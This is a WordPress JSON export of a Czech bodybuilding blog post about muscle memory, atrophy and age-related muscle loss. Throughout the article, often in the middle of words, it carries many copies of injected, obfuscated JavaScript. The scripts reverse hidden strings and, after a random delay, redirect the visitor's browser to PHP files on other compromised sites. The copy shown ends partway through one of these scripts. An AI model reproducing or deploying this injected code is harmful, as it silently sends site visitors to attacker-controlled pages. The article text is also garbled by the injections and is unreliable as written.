{"id":846,"date":"2023-01-11T16:59:08","date_gmt":"2023-01-11T16:59:08","guid":{"rendered":"https:\/\/www.svetkulturistiky.cz\/?p=846"},"modified":"2022-12-29T16:59:37","modified_gmt":"2022-12-29T16:59:37","slug":"maji-svaly-pamet","status":"publish","type":"post","link":"https:\/\/svetkulturistiky.cz\/index.php\/2023\/01\/11\/maji-svaly-pamet\/","title":{"rendered":"MAJ\u00cd SVALY PAM\u011a\u0164?"},"content":{"rendered":"<div class=\"wp-block-image\">\n<figure class=\"aligncenter is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/12\/PLAKAT2.jpg\" alt=\"\" class=\"wp-image-847\" width=\"559\" height=\"768\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/12\/PLAKAT2.jpg 882w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/12\/PLAKAT2-218x300.jpg 218w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/12\/PLAKAT2-745x1024.jpg 745w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/12\/PLAKAT2-768x1055.jpg 768w\" sizes=\"auto, (max-width: 559px) 100vw, 559px\" \/><\/figure>\n<\/div>\n\n\n<p><\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>Nejenom proveden\u00e9 v\u00fdzkumy, ale i zku\u0161enosti spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016f v\u0161ech odv\u011btv\u00ed ukazuj\u00ed jednozna\u010dn\u011b na kladnou odpov\u011b\u010f.<\/strong><\/h4>\n\n\n\n<p>\u201eTo je jako s&nbsp;j\u00edzdou na kole, <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to se nezapom\u00edn\u00e1,\u201c tuhle v\u011btu u\u017e jste ur\u010dit\u011b sly\u0161eli bezpo\u010dtukr\u00e1t. Napadlo v\u00e1s ale n\u011bkdy, jestli uveden\u00e9 pravidlo plat\u00ed i pro cvi\u010den\u00ed s&nbsp;\u010dinkami? Nebo pro jakoukoliv jinou spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovn\u00ed discipl\u00ednu\u2026<\/p>\n\n\n\n<p>V\u011bdci se ot\u00e1zkou svalov\u00e9 pam\u011bti zab\u00fdvaj\u00ed pom\u011brn\u011b dlouho a jejich pr\u00e1ce v&nbsp;podstat\u011b potvrzuj\u00ed <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to, co ost\u0159\u00edlen\u00ed spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci d\u00e1vno v\u011bd\u00ed. Svalov\u00e9 bu\u0148ky jsou velmi specifick\u00e9 a vynikaj\u00ed zd\u00e1nliv\u011b nadp\u0159irozen\u00fdmi schopnostmi.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>Co dok\u00e1\u017ee svalov\u00e1 bu\u0148ka<\/strong><\/h4>\n\n\n\n<p>P\u0159edev\u0161\u00edm um\u00ed m\u011bnit svou velikost v&nbsp;z\u00e1vislosti na podn\u011btu. To znamen\u00e1, \u017ee fyzickou z\u00e1t\u011b\u017e\u00ed ji m\u016f\u017eete podn\u00edtit k&nbsp;r\u016fstu, tzv. hypetrofii. Svalov\u00e1 bu\u0148ka pak m\u016f\u017ee b\u00fdt a\u017e s<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>totis\u00edckr\u00e1t v\u011bt\u0161\u00ed ne\u017e pr\u016fm\u011brn\u00e1 bu\u0148ka lidsk\u00e9ho t\u011bla. Sta\u010d\u00ed ale p\u00e1r t\u00fddn\u016f leno\u0161en\u00ed, nedostate\u010dn\u00e1 strava a svalov\u00e1 bu\u0148ka atrofuje (zmen\u0161uje se).<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>Jak dan\u00fd proces prob\u00edh\u00e1 v&nbsp;n\u00e1vaznosti na posilovac\u00ed tr\u00e9nink?<\/strong><\/h4>\n\n\n\n<p>Posilov\u00e1n\u00edm stimulujete r\u016fst svalov\u00e9 tk\u00e1n\u011b, mus\u00ed tedy doj\u00edt k&nbsp;nav\u00fd\u0161en\u00ed po\u010dtu svalov\u00fdch bun\u011bk a ke zv\u011bt\u0161en\u00ed jejich objemu. \u010c\u00edm v\u00fdrazn\u011bj\u0161\u00ed a kvalitn\u011bj\u0161\u00ed je stimulace, t\u00edm v\u00edce svalov\u00e9 hmoty p\u0159ib\u00fdv\u00e1. Jestli\u017ee pak p\u0159ijde \u00faraz \u010di je z&nbsp;jak\u00e9hokoliv d\u016fvodu tr\u00e9nink p\u0159eru\u0161en, svalov\u00e9 bu\u0148ky se p\u0159estanou d\u011blit i r\u016fst, vz\u00e1p\u011bt\u00ed dokonce sv\u016fj objem zmen\u0161\u00ed. Ale nezmiz\u00ed, z\u016fst\u00e1vaj\u00ed v&nbsp;t\u011ble a mohou b\u00fdt v&nbsp;budoucnu op\u011bt aktivov\u00e1ny a stimulov\u00e1ny k&nbsp;r\u016fstu i d\u011blen\u00ed.<\/p>\n\n\n\n<p>Tak<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to by se tedy zjednodu\u0161en\u011b dal popsat princip svalov\u00e9 pam\u011bti v kulturistice. V\u011bdci se nav\u00edc domn\u00edvaj\u00ed, \u017ee si svalov\u00e9 bu\u0148ky b\u011bhem cvi\u010den\u00ed vytv\u00e1\u0159ej\u00ed ur\u010dit\u00e9 genetick\u00e9 markery, kter\u00e9 jim n\u00e1sledn\u011b pom\u00e1haj\u00ed adekv\u00e1tn\u011b reagovat, kdy\u017e se dan\u00fd stimul opakuje \u2013 t\u0159eba i po letech.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>Kam a\u017e sah\u00e1 svalov\u00e1 pam\u011b\u0165<\/strong><\/h4>\n\n\n\n<p>V\u011bt\u0161ina odborn\u00edk\u016f se shoduje, \u017ee si svaly \u201epamatuj\u00ed\u201c minim\u00e1ln\u011b 15 let, pokud jste se d\u0159\u00edve dan\u00e9 aktivit\u011b intenzivn\u011b v\u011bnovali. V\u00fdjimkou nejsou ani n\u00e1zory, \u017ee je svalov\u00e1 pam\u011b\u0165 do\u017eivotn\u00ed. To je jist\u011b pot\u011b\u0161uj\u00edc\u00ed konsta<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tov\u00e1n\u00ed.<\/p>\n\n\n\n<p>Plat\u00ed tedy, a\u017e a\u010dkoliv atrofie b\u00fdv\u00e1 ne\u00faprosn\u00e1 a nastupuje skute\u010dn\u011b u\u017e v&nbsp;\u0159\u00e1dech t\u00fddn\u016f, pokud svaly neprocvi\u010dujete, jakmile n\u00e1sledn\u011b s&nbsp;tr\u00e9ninkem znovu za\u010dnete, dostanete se na p\u016fvodn\u00ed \u00farove\u0148 rychleji ne\u017e \u010dlov\u011bk, kter\u00fd doposud necvi\u010dil. Nav\u00edc, \u010d\u00edm mlad\u0161\u00ed spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovec, t\u00edm rychlej\u0161\u00ed n\u00e1vrat k&nbsp;p\u016fvodn\u00ed v\u00fdkonnosti. Studie ukazuj\u00ed, \u017ee spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci v&nbsp;dorosteneck\u00e9m v\u011bku jsou schopni udr\u017eet svalovou hmotu i po \u010dty\u0159ech t\u00fddnech bez tr\u00e9ninku. Schopnost svalovou hmotu udr\u017eet bez adekv\u00e1tn\u00ed stimulace pom\u011brn\u011b dlouhou dobu ov\u0161em postupem v\u011bku sl\u00e1bne. V\u011bk <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toti\u017e hraje v&nbsp;<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to sm\u011bru roli skute\u010dn\u011b ne\u00faprosnou.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>Na v\u011bku z\u00e1le\u017e\u00ed<\/strong><\/h4>\n\n\n\n<p>A\u017e do t\u00e9<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to chv\u00edle byla \u0159e\u010d o atrofii zp\u016fsoben\u00e9 ne\u010dinnost\u00ed (\u00faraz, nemoc atd.). Pak je tu ov\u0161em je\u0161t\u011b atrofie souvisej\u00edc\u00ed s&nbsp;v\u011bkem, tzn. sarkopenie, tedy fyziologick\u00fd proces zp\u016fsoben\u00fd st\u00e1rnut\u00edm organismu. Na z\u00e1klad\u011b <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return 